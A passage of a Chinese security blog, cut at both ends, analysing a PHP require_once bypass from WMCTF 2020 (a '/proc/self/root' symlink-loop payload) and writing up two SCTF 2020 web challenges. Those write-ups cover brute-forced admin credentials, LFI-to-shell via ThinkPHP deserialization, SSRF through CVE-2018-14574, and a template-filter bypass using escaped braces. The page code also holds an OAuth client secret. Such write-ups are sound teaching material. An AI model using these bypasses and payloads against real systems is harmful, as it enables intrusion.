title=\"what?\"\u003e\u003cp\u003e\u003ccode\u003etsrm_realpath\u003c/code\u003e返回了NULL。看上去没问题,但是让我们回到\u003ccode\u003ezend_include_or_eval\u003c/code\u003e。按照开发者的逻辑,\u003ccode\u003etsrm_realpath\u003c/code\u003e返回NULL意味着出现了问题,理应抛出一个异常(在PHP中为\u003ccode\u003eexecute_globals.exception\u003c/code\u003e,即\u003ccode\u003eEG(exception)\u003c/code\u003e),然而纵观源码,此处并没有调用\u003ccode\u003ezend_throw_exception\u003c/code\u003e抛出异常。\u003c/p\u003e\u003cp\u003e所以我们直接走到了\u003ccode\u003ezend_stream_open\u003c/code\u003e。这时我们遇到了另一个PHP_API,参考\u003ccode\u003ezend_resolve_path\u003c/code\u003e,我们能够找到\u0026quot;真正的\u0026quot;\u003ccode\u003ezend_stream_open\u003c/code\u003e为\u003ccode\u003ephp_stream_open_for_zend\u003c/code\u003e。可以看到它对\u003ccode\u003ephp_stream_open_wrapper\u003c/code\u003e进行了包装,而\u003ccode\u003ewrapper\u003c/code\u003e又是一个指向\u003ccode\u003e_php_stream_open_wrapper_ex\u003c/code\u003e(main/streams/streams.c:2057)的宏\u003c/p\u003e\u003cp\u003e跟进来,仍然有对\u003ccode\u003ezend_resolve_path\u003c/code\u003e的调用\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/stream_open.png\" class=\"\" title=\"梅开二度\"\u003e\u003cp\u003e梅开二度,仍然返回NULL,没抛Exception。我们跟到\u003ccode\u003emain/streams/plain_wrapper.c\u003c/code\u003e中看文件是如何打开的:\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/open_wrapper.png\" class=\"\"\u003e\u003cp\u003e也就是说需要经过一次\u003ccode\u003eexpand_filepath\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003ePHPAPI \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *\u003cspan class=\"title\"\u003eexpand_filepath\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *filepath, \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *real_path)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003eexpand_filepath_ex\u003c/span\u003e(filepath, real_path, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003ePHPAPI \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *\u003cspan class=\"title\"\u003eexpand_filepath_ex\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *filepath, \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *real_path, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *relative_to, \u003cspan class=\"keyword\"\u003esize_t\u003c/span\u003e relative_to_len)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003eexpand_filepath_with_mode\u003c/span\u003e(filepath, real_path, relative_to, relative_to_len, CWD_FILEPATH);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003ePHPAPI \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *\u003cspan class=\"title\"\u003eexpand_filepath_with_mode\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *filepath, \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *real_path, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *relative_to, \u003cspan class=\"keyword\"\u003esize_t\u003c/span\u003e relative_to_len, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e realpath_mode)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003evirtual_file_ex\u003c/span\u003e(\u0026amp;new_state, filepath, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, realpath_mode)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eefree\u003c/span\u003e(new_state.cwd);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里怎么也有个\u003ccode\u003evirtual_file_ex\u003c/code\u003e?我们继续走\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/expand_virtual.png\" class=\"\"\u003e\u003cp\u003e竟然顺利通过了。所以我们可以得出一个小结论:是\u003ccode\u003evirtual_file_ex\u003c/code\u003e的不一致的表现导致了这个bug。\u003cbr\u003e我们进一步来探讨一下这个不一致性是怎么产生的。\u003c/p\u003e\u003ch3 id=\"virtual-file-ex\"\u003evirtual_file_ex\u003c/h3\u003e\u003cp\u003e在上面的分析中,可以看到\u003ccode\u003etsrm_realpath\u003c/code\u003e与\u003ccode\u003eexpand_filepath\u003c/code\u003e在调用\u003ccode\u003evirtual_file_ex\u003c/code\u003e分别是这么传参的:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// tsrm_realpath\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (virtual_file_ex(\u0026amp;new_state, path, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, CWD_REALPATH)) \u0026#123;...\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// expand_filepath\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (virtual_file_ex(\u0026amp;new_state, path, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, CWD_FILEPATH)) \u0026#123;...\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这两个宏在源码里是这么解释的:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e CWD_FILEPATH 1 \u003cspan class=\"comment\"\u003e/* resolve symlinks if file is exist otherwise expand */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e CWD_REALPATH 2 \u003cspan class=\"comment\"\u003e/* call realpath(), resolve symlinks. File must exist */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e二者的区别在于REALPATH调用时必须\u003cstrong\u003e保证\u003c/strong\u003e文件存在,不然就会直接返回\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (save \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003ephp_sys_lstat\u003c/span\u003e(path, \u0026amp;st) \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (use_realpath == CWD_REALPATH) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* file not found */\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"keyword\"\u003esize_t\u003c/span\u003e)\u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* continue resolution anyway but don\u0026#x27;t save result in the cache */\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e save = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"lstat\"\u003elstat\u003c/h3\u003e\u003cp\u003e等等,它是怎么判断文件是否存在的?\u003ccode\u003ephp_sys_lstat\u003c/code\u003e是什么?\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;sys/stat.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e php_sys_lstat lstat\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也就是说只要\u003ccode\u003elstat(path)\u003c/code\u003e小于0,PHP就会认为文件不存在,从而\u003ccode\u003evirtual_file_ex(..., CWD_REALPATH)\u003c/code\u003e,即\u003ccode\u003etsrm_realpath\u003c/code\u003e会出问题,而\u003ccode\u003evirtual_file_ex(..., CWD_FILEPATH)\u003c/code\u003e虽然\u0026quot;找不到\u0026quot;这个文件,但仍然会返回一个合法的路径。\u003cbr\u003e我们再仔细看看\u003ca href=\"https://linux.die.net/man/3/lstat\"\u003elstat在什么情况下会报错\u003c/a\u003e\u003c/p\u003e\u003cp\u003e其中有一条就很有趣:\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eThe lstat() function may fail if:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eELOOP\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e More than \u0026#123;SYMLOOP_MAX\u0026#125; symbolic links were encountered\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e during resolution of the path argument.\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在网上查阅了大半个世纪,所有人都说这是通过sysconf动态赋值的,只要满足不小于POSIX规定的8即可。可是我找到了一件很搞笑的事情:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/torvalds/linux/search?q=MAXSYMLINKS\u0026amp;unscoped_q=MAXSYMLINKS\"\u003ehttps://github.com/torvalds/linux/search?q=MAXSYMLINKS\u0026amp;unscoped_q=MAXSYMLINKS\u003c/a\u003e\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/eloop.png\" class=\"\"\u003e\u003cp\u003e无敌的Linux竟然是把这个值写死成40的,nb,属实nb\u003c/p\u003e\u003cp\u003e至此,我们有了一个payload,即\u003ccode\u003e\u0026quot;/proc/self/root\u0026quot;*21+/flag\u003c/code\u003e\u003c/p\u003e\u003cp\u003epayload中:\u003ccode\u003e/proc/self/root\u003c/code\u003e提供了两层symlink(\u003ccode\u003e/proc/self\u003c/code\u003e指向\u003ccode\u003e/proc/[pid]\u003c/code\u003e),也就是说重复21次我们将得到42层symlink,比lstat能够处理的层数多出两层。\u003c/p\u003e\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\u003cul\u003e\u003cli\u003e在软件开发的过程中,要有一个统一的异常处理机制,不要一会返回0,一会抛异常的\u003c/li\u003e\u003cli\u003e要和一起写代码的沟通好,写好文档(其实\u003ccode\u003evirtual_file_ex\u003c/code\u003e上面注释里写了,返回0是正常,1是有错,我估计调用的人就没好好看(逃))\u003c/li\u003e\u003cli\u003e要保证一个操作的一致性,比如这个\u003ccode\u003erequire_once\u003c/code\u003e就因为内部前后不一致导致了绕过\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"备注\"\u003e备注\u003c/h2\u003e\u003cul\u003e\u003cli\u003e源码分析基于PHP 7.4.5,截止\u003ca href=\"https://github.com/php/php-src/blob/44ad2db15fe786b07ce793624885e0c43e0af897/Zend/zend_virtual_cwd.c#L885\"\u003e8.0.0-beta1\u003c/a\u003e php 仍然使用lstat的返回值作为文件是否存在的依据\u003c/li\u003e\u003cli\u003e在源码分析的过程中还有一个地方可能导致类似的问题,有兴趣的自己看,此处不点明(\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/"},{"title":"SCTF 2020 两道Web题 Writeup","time":"2020-07-06T16:00:00Z","content":"\u003ch2 id=\"UnsafeDefenseSystem\"\u003eUnsafeDefenseSystem\u003c/h2\u003e\n\u003cp\u003ePHP/5.6.26, tp 5.0.24\u003cbr\u003e\n经过一番吐血的信息搜集,看到了这个破静态站的源码里竟然有注释\u003c/p\u003e\n\u003cimg src=\"/2020/07/07/\u003chr /\u003e\u003ch2 id=\"UnsafeDefenseSystem\"\u003eUnsafeDefenseSystem\u003c/h2\u003e\u003cp\u003ePHP/5.6.26, tp 5.0.24\u003cbr\u003e经过一番吐血的信息搜集,看到了这个破静态站的源码里竟然有注释\u003c/p\u003e\u003cimg src=\"/2020/07/07/Security/Writeup/SCTF-2020-Web/hint.png\" class=\"\" title=\"hint in comment\"\u003e\u003cblockquote\u003e\u003cp\u003e我要对出题人使出极限一换一\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e访问/protect.py能看到一个超长的憨批监控脚本,其实也不用看\u003cbr\u003e在静态站注释提示的/public/nationalsb/login.php的注释中又看到了关于密码的提示\u003c/p\u003e\u003cimg src=\"/2020/07/07/Security/Writeup/SCTF-2020-Web/passwd_hint.png\" class=\"\" title=\"passwd_hint\"\u003e\u003cp\u003e通过爆破得到用户名密码:\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eAdmin1964752\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eDsaPPPP!@#amspe1221\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e后台存在lfi。经过一番读文件,看到index controller中存在反序列化点\u003c/p\u003e\u003cimg src=\"/2020/07/07/Security/Writeup/SCTF-2020-Web/entry.png\" class=\"\" title=\"unserialize entry\"\u003e\u003cp\u003e结合上文所知道的thinkphp版本可以搜到:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/\"\u003ehttps://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://xz.aliyun.com/t/7594\"\u003ehttps://xz.aliyun.com/t/7594\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://xn--protect-gq4kgoltk9x2jgvm3c8kpghez02h8zvad37bkmqos5b.py\"\u003e出题人可能是想让条件竞争过protect.py\u003c/a\u003e,但是实际上我们可以往/tmp目录底下写文件,并且在nationalsb那里包含这一文件,最终拿到shell\u003c/p\u003e\u003cimg src=\"/2020/07/07/Security/Writeup/SCTF-2020-Web/phpinfo.png\" class=\"\" title=\"phpinfo\"\u003e\u003ch2 id=\"jsonhub\"\u003ejsonhub\u003c/h2\u003e\u003cp\u003e白盒审计。对外开放的是web1,一个Django服务,内网还有个flask。\u003c/p\u003e\u003cp\u003e首先整理思路:首先要过那个django的token,然后ssrf请求flask_rpc,这样才能带上Content-Type发POST请求\u003c/p\u003e\u003cimg src=\"/2020/07/07/Security/Writeup/SCTF-2020-Web/create_user.png\" class=\"\" title=\"User creation flaw\"\u003e\u003cp\u003e很明显,注册的时候参数完全可控,也就是说可以伪造管理员身份。将两个字段,\u003ccode\u003eis_superuser\u003c/code\u003e与\u003ccode\u003eis_staff\u003c/code\u003e都设置为True,就能访问 \u003ccode\u003ehttp://39.104.19.182/admin/app/token/\u003c/code\u003e 拿到token了。\u003c/p\u003e\u003cp\u003e在请求后方flask服务前,django服务对\u003ccode\u003eREMOTE_URL\u003c/code\u003e进行了验证。由于题目部署在了docker里,访问公网ip时\u003ccode\u003eREMOTE_URL\u003c/code\u003e实际上是172.多少多少(即使不在docker里也是公网ip)。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://xz.aliyun.com/t/3302\"\u003ehttps://xz.aliyun.com/t/3302\u003c/a\u003e\u003cbr\u003e利用CVE-2018-14574漏洞进行跳转即可\u003c/p\u003e\u003cp\u003e再看第二个服务:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@app.before_request\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ebefore_request\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e data = \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(request.data)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e log()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\u0026#123;\u0026#123;\u0026quot;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data \u003cspan class=\"keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\u0026#125;\u0026#125;\u0026quot;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data \u003cspan class=\"keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\u0026#123;%\u0026quot;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data \u003cspan class=\"keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;%\u0026#125;\u0026quot;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e abort(\u003cspan class=\"number\"\u003e401\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e json.loads(...)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003epython中的json模块在解析json时会自动将转义过的字符恢复,所以可以用\u003ccode\u003e\u0026quot;\\u007b\u0026quot;\u003c/code\u003e来绕过\u003ccode\u003ebefore_request\u003c/code\u003e\u003cbr\u003e关于表达式的正则过滤,由于对符号的过滤不严格导致了一个非预期,甚至完全不需要管num1和num2:\u003c/p\u003e\u003cp\u003eexploit:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan 